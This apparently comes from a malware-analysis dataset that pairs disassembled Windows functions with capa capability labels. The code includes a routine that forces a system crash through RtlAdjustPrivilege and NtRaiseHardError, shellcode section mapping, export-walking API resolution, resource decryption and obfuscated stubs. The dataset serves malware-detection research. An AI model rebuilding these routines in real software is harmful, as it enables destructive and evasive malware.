joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140bb102d
Capabilities:
Encode data using base64

Disassembly:
pop rbx
sal r8b, 0x24
movsxd rbp, ebp
add rsi, rbp
btc di, di
mul r11
jae fcn.140b9da97
lea r10, [r10 + rcx + 0xdd]
push rdx
xadd dx, r8w
movzx ecx, byte [r8 + r10]
inc dl
inc r11
lea r8, [r11*8 + 0x3f103084]
xor cl, bl
add cl, 0x10
pop rbp
push rdx
ror cl, 1
cbw
call fcn.140bab96c
movzx edx, byte [r10 + r8]
push r8
xor dl, bl
shl di, 0x4f
movsx r11d, bpl
xor word [rsp + r8 + 3], r8w
adc dl, 0x90
xor r8, qword [rsp + r8 + 0x28]
sar r11d, 0x62
add eax, dword [rsp + r8 - 0x1a411cd3]
ror dl, 1
inc rdi
add dl, 0xb1
not dl
inc rax
ror bpl, 0xc7
adc r8w, word [rsp + r8 - 0x1a411cd8]
sub dl, dil
neg dl
sar byte [rsp + r8 - 0x1a410b9d], 0x86
mov qword [rsp + r8*2 - 0x34821752], rdi
imul rdi, qword [rsp + r8*2 - 0x34821752]
sbb dl, 0x84
xor bl, dl
shl ebp, 0xf6
sub r8b, al
lea rdx, [rsp + rdx + 0x38]
bt r11, r11
sal rbp, 0x77
xor byte [rsp + r8*4 - 0x69042dc9], al
mov qword [rdx + r8*4 - 0x69042dfc], rcx
add r11, qword [rsp + r8*4 - 0x69042dcc]
jnp 0x140b8172a
or qword [rsp + r8 - 0x1a410b7f], rsi
ret 0x30

Function at 0x140bb31f9
Capabilities:
Encode data using base64

Disassembly:
jmp 0x140b91450
push 0x7837b335
lea rsp, [rsp + 8]
jmp 0x140bad38a
cmp ebx, 4
push 0x60883d04
jmp 0x140b89bac
cmp ebx, 3
mov qword [rsp], 0x36020122
push 0x642c07a5
lea rsp, [rsp + 0x10]
jne 0x140bafca1
mov r8, rax
jmp 0x140b9f8d3

Function at 0x140bb3905
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
sub ax, 0xa697
cwde
neg ecx
ror ecx, 2
add edx, ebp
mov qword [rsp + rax - 0x5969], rbp
bswap ecx
jge 0x140bb4249
mov qword [rsp + rax - 0x5969], rbx
cbw
mov r8d, edi
xor dword [rsp + rax - 0x69], ecx
btr edi, edi
pop rbx
cbw
idiv al
movsx r11d, al
movsxd rcx, ecx
and r11d, edi
adc rsi, rcx
inc ebp
mov r9, qword [rax + r9 - 1]
btr eax, edi
jae fcn.140b9da97
lea r9, [r11 + r9 - 0x60084b24]
sub al, r8b
shrd edi, edx, cl
lea rcx, [r11 + r8*8 - 0x16c9057f]
lea rdx, [rcx + r8*2 + 0x30925183]
mov dword [r11 + r9 - 0x60084b2a], edi
mov edi, ecx
push rcx
shr byte [rsp + r8 - 0x60084b26], 0x47
lea r10, [rax + r10 - 0x5dba9b18]
and r8w, 0x54be
mov r11d, dword [r10 + rax - 0x5dba9b14]
mov ebp, eax
shr rdx, cl
xor r11d, ebx
pop rdx
neg r11d
sar al, 0x25
ror edx, 0xf1
sub ecx, 0x32b506a6
rol r11d, 1
cwde
and rdx, 0x21213e2a
shr r8, cl
dec r11d
rol r11d, 1
btr rbp, rcx
sbb dil, 0x8a
push rbx
xor dword [rsp + r8*8 - 0x1800], r11d
or r8b, cl
pop rbx
shr rbp, cl
movsxd r11, r11d
setb r8b
jbe 0x140ba9020
Function at 0x140001490
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
lea r8, section..text
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.1400011d0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x1400011a0]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call rax
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc00002c9
call rbx
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400015d0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001e98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ee2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ee2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ee2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ee2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ee2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ee4
xor al, al
add rsp, 0x28
ret
Function at 0x140001b70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
movsxd r8, dword [rdx + 0x3c]
lea rax, [rsp]
add r8, rdx
lea rax, [rax + 0x80]
xor edi, edi
xor r10d, r10d
mov r12, r9
mov rbp, rdx
mov r13, rcx
mov esi, 1
movups xmm0, xmmword [r8 + 0x18]
movups xmm1, xmmword [r8 + 0x28]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [r8 + 0x38]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [r8 + 0x48]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [r8 + 0x68]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [r8 + 0x78]
movups xmmword [rax - 0x30], xmm1
movups xmmword [rax - 0x20], xmm0
movups xmm0, xmmword [r8 + 0x88]
add r8, 0x98
movups xmmword [rax - 0x10], xmm0
movups xmm1, xmmword [r8]
movups xmm0, xmmword [r8 + 0x10]
movups xmmword [rax], xmm1
movups xmm1, xmmword [r8 + 0x20]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [r8 + 0x30]
movups xmmword [rax + 0x20], xmm1
movups xmm1, xmmword [r8 + 0x40]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [r8 + 0x50]
movups xmmword [rax + 0x40], xmm1
movups xmm1, xmmword [r8 + 0x60]
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm1
mov eax, dword [rsp + 0x70]
add rax, rdx
mov r11d, dword [rax + 0x20]
mov r15d, dword [rax + 0x1c]
add r11, rdx
mov ebx, dword [rax + 0x24]
add r15, rdx
mov r14d, dword [rax + 0x14]
add rbx, rdx
test r14d, r14d
je 0x140001d1f
nop dword [rax + rax]
movzx eax, word [rbx]
mov r9d, dword [r11]
add r9, rbp
mov r8d, dword [r15 + rax*4]
mov rax, r12
add r8, rbp
sub r9, r12
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140001ca3
inc rax
test ecx, ecx
jne 0x140001c90
test edx, edx
je 0x140001cab
test esi, esi
jne 0x140001cca
mov eax, dword [r8]
mov dword [rsp + 0x120], 0xb8d18b4c
cmp eax, dword [rsp + 0x120]
jne 0x140001cc6
cmp al, 0xe9
jne 0x140001cdc
inc edi
xor esi, esi
inc r10d
add rbx, 2
add r11, 4
cmp r10d, r14d
jb 0x140001c70
jmp 0x140001d1f
mov rcx, qword [rsp + 0x140]
movzx eax, byte [r8 + 4]
sub ax, di
mov word [rsp + 0x120], 0x50f
mov word [rcx], ax
movzx eax, word [rsp + 0x120]
cmp word [r8], ax
je 0x140001d10
inc r8
cmp word [r8], ax
jne 0x140001d07
mov qword [rcx + 8], r8
mov rax, r13
movups xmm0, xmmword [rcx]
movups xmmword [r13], xmm0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001190
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, rdx
mov rbx, rcx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
jne 0x1400011c4
mov ecx, 0xc0000005
jmp 0x14000127a
mov ecx, 0x8664
cmp word [rax + 4], cx
jne 0x1400011d7
mov ecx, dword [rax + 0x88]
jmp 0x1400011e9
mov ecx, 0x14c
cmp word [rax + 4], cx
jne 0x140001275
mov ecx, dword [rax + 0x78]
mov r9d, ecx
xor r10d, r10d
mov r14d, dword [r9 + rbx + 0x20]
mov esi, dword [r9 + rbx + 0x24]
add r14, rbx
mov edx, dword [r9 + rbx + 0x18]
add rsi, rbx
dec edx
lea r8d, [rdx + r10]
shr r8d, 1
mov eax, dword [r14 + r8*4]
add rax, rbx
cmp rbp, rax
je 0x140001254
test rbp, rbp
je 0x14000124b
test rax, rax
je 0x140001245
mov r11, rbp
sub r11, rax
movsx ecx, byte [r11 + rax]
movsx edi, byte [rax]
inc rax
test cl, cl
je 0x14000123d
cmp cl, dil
je 0x140001229
sub ecx, edi
js 0x14000124b
test ecx, ecx
jle 0x140001254
lea r10d, [r8 + 1]
jmp 0x14000124f
lea edx, [r8 - 1]
cmp edx, r10d
jae 0x140001206
cmp edx, r10d
jb 0x140001280
movzx ecx, word [rsi + r8*2]
cmp ecx, dword [r9 + rbx + 0x14]
jae 0x140001280
mov eax, dword [r9 + rbx + 0x1c]
add rax, rbx
mov eax, dword [rax + rcx*4]
add rax, rbx
jmp 0x140001282
mov ecx, 0x65e
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400018cc
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov dword [rsp + 8], ecx
push rbx
sub rsp, 0x20
mov r8d, 0x1000
mov edx, 8
mov dword [rsp + 0x30], r8d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1400019b7
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000197f
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rax, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rsp + 0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0x80000005
jne 0x14000198d
cmp dword [rbx], 0
jne 0x140001991
jmp 0x14000199b
test eax, eax
js 0x140001996
mov rax, rbx
jmp 0x1400019b9
test rbx, rbx
je 0x1400019b7
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400019c0
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], r9
push rdi
sub rsp, 0x20
and dword [rax + 0x20], 0
mov esi, ecx
mov rax, qword gs:[0x30]
mov edi, 0x1000
mov r8d, edi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140001a98
jmp 0x140001a54
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
add edi, edi
cmp edi, 0x20000000
ja 0x140001a98
mov rax, qword gs:[0x30]
mov edx, 8
mov r8d, edi
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
lea r9, [rsp + 0x48]
mov r8d, edi
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001a0c
test eax, eax
js 0x140001a77
mov rax, rbx
jmp 0x140001a9a
test rbx, rbx
je 0x140001a98
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001cb0
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov qword [rax + 0x10], rdx
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x90
and qword [rbp - 9], 0
mov r14, r9
mov rsi, r8
mov rdx, rcx
test r8, r8
jne 0x140001ceb
mov eax, 0xc00000f2
jmp 0x140001e4b
test rdx, rdx
je 0x140001e46
xor eax, eax
lea rdi, [rbp - 1]
lea ecx, [rax + 0x10]
rep stosb byte [rdi], al
lea rcx, [rbp - 1]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
and qword [rbp + 0x17], 0
lea rax, [rbp - 1]
xorps xmm0, xmm0
mov qword [rbp + 0x1f], rax
lea r8, [rbp + 0xf]
mov dword [rbp + 0xf], 0x30
mov edx, 1
mov dword [rbp + 0x27], 0x40
lea rcx, [rbp - 9]
movdqu xmmword [rbp + 0x2f], xmm0
call qword [sym.imp.ntdll.dll_NtOpenDirectoryObject]
test eax, eax
js 0x140001e4b
and dword [rbp + 0x77], 0
jmp 0x140001dd7
mov rcx, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rbp + 0x6f]
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140001e33
mov r8d, dword [rbp + 0x6f]
lea rax, [rbp + 0x6f]
mov rcx, qword [rbp - 9]
mov r9b, 1
mov qword [rsp + 0x30], rax
mov rdx, rbx
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
test eax, eax
js 0x140001e17
mov rdx, r14
mov rcx, rbx
call rsi
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov edi, eax
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test edi, edi
jns 0x140001e13
mov rcx, qword [rbp - 9]
lea rax, [rbp + 0x6f]
and dword [rbp + 0x6f], 0
mov r9b, 1
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x77]
xor edx, edx
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
cmp eax, 0xc0000023
je 0x140001d50
jmp 0x140001e33
xor edi, edi
jmp 0x140001e33
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140001e42
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, edi
jmp 0x140001e4b
mov eax, 0xc00000f0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000202c
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbp, rdx
mov r8, rdx
mov rdx, rcx
mov rbx, rcx
xor ecx, ecx
call fcn.140001fe4
mov dil, 1
lea rsi, [rbx + 2]
mov r12d, 4
lea r13, str.cw
mov rdx, rbx
mov r9, r12
mov rcx, rdx
mov r8, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r8, 1
jne 0x14000207b
inc rdx
sub r9, 1
jne 0x140002075
mov al, byte [rbx + 5]
mov r14, rsi
mov cl, byte [rbx + 1]
mov r15, r12
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xb], al
mov byte [rbx + 7], cl
mov r11b, byte [r14 - 2]
mov r8b, byte [r14 - 1]
mov dl, r11b
mov r9b, byte [r14 + 1]
xor dl, r8b
xor r9b, byte [r14]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r9b
imul ecx, eax, 0x1b
xor r10b, r11b
xor r10b, r8b
xor cl, dl
mov dl, r8b
xor dl, byte [r14]
xor cl, r11b
xor r11b, byte [r14 + 1]
xor cl, r10b
mov byte [r14 - 2], cl
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
imul ecx, eax, 0x1b
mov al, r9b
shr al, 7
add r9b, r9b
movzx eax, al
xor cl, dl
xor cl, r8b
xor cl, r10b
mov byte [r14 - 1], cl
imul ecx, eax, 0x1b
mov al, r11b
shr al, 7
add r11b, r11b
movzx eax, al
xor cl, r9b
xor cl, byte [r14]
xor cl, r10b
mov byte [r14], cl
imul ecx, eax, 0x1b
xor cl, r11b
xor cl, byte [r14 + 1]
xor cl, r10b
mov byte [r14 + 1], cl
add r14, r12
sub r15, 1
jne 0x1400020e2
mov r8, rbp
mov rdx, rbx
mov cl, dil
call fcn.140001fe4
inc dil
cmp dil, 0xa
jb 0x14000206f
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x1400021a8
inc rdx
sub r8, 1
jne 0x1400021a2
mov dl, byte [rbx + 6]
mov r8, rbp
mov al, byte [rbx + 5]
mov cl, byte [rbx + 1]
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], dl
mov dl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 7], dl
mov rdx, rbx
mov byte [rbx + 0xa], cl
mov cl, 0xa
mov byte [rbx + 0xb], al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp fcn.140001fe4
Function at 0x14000301c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov rbx, r8
and qword [rbp + 0x30], rdi
mov rsi, rdx
mov rax, rcx
test r8, r8
je 0x140003047
and dword [r8], edi
xor ecx, ecx
and dword [rbp + 0x38], ecx
mov qword [rbp + 0x28], rcx
test rsi, rsi
je 0x14000309d
and qword [rbp - 8], rcx
lea r8d, [rcx + 3]
mov rcx, rsi
mov qword [rbp - 0x18], 0xa
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x140003099
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
cmovns edi, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x1400030c4
test edi, edi
je 0x1400030c4
mov al, byte [rbp + 0x40]
lea r8, [rbp + 0x30]
mov edx, edi
mov byte [rsp + 0x20], al
call fcn.1400030d4
test rbx, rbx
je 0x1400030c6
mov ecx, dword [rbp + 0x30]
mov dword [rbx], ecx
jmp 0x1400030c6
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400030d4
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x20], r9d
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0x90
mov r15, rcx
lea rdi, [rbp - 0x11]
xor eax, eax
xor ebx, ebx
and qword [r8], rbx
mov rsi, rdx
mov r12, r8
mov r8, rsi
lea edx, [rbx + 0x18]
mov ecx, edx
rep stosb byte [rdi], al
mov ecx, edx
lea rdi, [rbp - 0x31]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x41]
lea ecx, [rbx + 0x10]
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
lea edx, [rbx + 8]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r14, rax
test rax, rax
je 0x140003286
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.14002cc30
lea r15d, [rbx + 1]
test esi, esi
je 0x140003177
mov eax, 0xf62e6ce0
mov edx, esi
mov rcx, r14
xor byte [rcx], al
add rcx, r15
rol eax, 1
add edx, 0xffffffff
jne 0x14000316b
and dword [rbp - 0x21], ebx
lea r9, [rbp - 0x41]
movsd xmm1, qword [rbp - 0x21]
lea r8, [rbp + 0xf]
mov qword [rbp - 0x31], r14
lea rdx, [rbp - 0x31]
mov qword [rbp - 0x29], rsi
mov rcx, r15
movups xmm0, xmmword [rbp - 0x31]
movsd qword [rbp + 0x1f], xmm1
movsd xmm1, qword [rbp - 1]
movaps xmmword [rbp + 0xf], xmm0
movups xmm0, xmmword [rbp - 0x11]
movsd qword [rbp - 0x21], xmm1
movaps xmmword [rbp - 0x31], xmm0
call qword [sym.imp.msdelta.dll_ApplyDeltaB]
test eax, eax
je 0x140003256
mov rdi, qword [rbp - 0x39]
mov rsi, qword [rbp - 0x41]
cmp byte [rbp + 0x7f], bl
je 0x140003205
and dword [rbp + 0x6f], ebx
lea r9, [rbp + 0x77]
and dword [rbp + 0x77], ebx
lea r8, [rbp + 0x6f]
mov edx, edi
mov rcx, rsi
call fcn.1400102c4
test al, al
jne 0x140003211
mov r9d, dword [rbp + 0x77]
lea rdx, [0x14003ac00]
mov r8d, dword [rbp + 0x6f]
mov ecx, r15d
call fcn.140011090
jmp 0x14000324a
lea rcx, str.___Checksum_verification_skipped_r_n
call fcn.140002fc8
mov rax, qword gs:[0x30]
mov r8, rdi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000324a
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.14002cc30
mov qword [r12], rdi
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.msdelta.dll_DeltaFree]
jmp 0x14000326a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_while_decompressing_resource
call fcn.140011fe4
mov rax, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0x90]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140003344
Capabilities:
Map section object

Disassembly:
push rbx
sub rsp, 0x50
and qword [rsp + 0x60], 0
mov r10, rdx
mov r8d, dword [rcx + 8]
mov rbx, rcx
sub r8d, 1
je 0x140003364
sub r8d, 1
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x60]
and dword [rsp + 0x40], 0
mov eax, 0x1000
mov dword [rsp + 0x38], 2
mov ecx, eax
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], rcx
xor r9d, r9d
and qword [rsp + 0x28], 0
mov rcx, r10
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x140003407
mov ecx, dword [rbx + 8]
sub ecx, 1
je 0x1400033dc
cmp ecx, 1
jne 0x1400033dc
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result__system_worker:_0x_p_r_n
mov ecx, 2
mov r8, qword [r8 + 0x10]
call fcn.140011090
jmp 0x1400033f6
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result:_NTSTATUS__0x_lX__r_n
mov ecx, 2
mov r8d, dword [r8 + 8]
call fcn.140011090
mov rdx, qword [rsp + 0x60]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
jmp 0x14000341b
mov r8d, eax
lea rdx, str.____Cannot_map_shellcode_section__NTSTATUS___lX__r_n
mov ecx, 1
call fcn.140011090
add rsp, 0x50
pop rbx
ret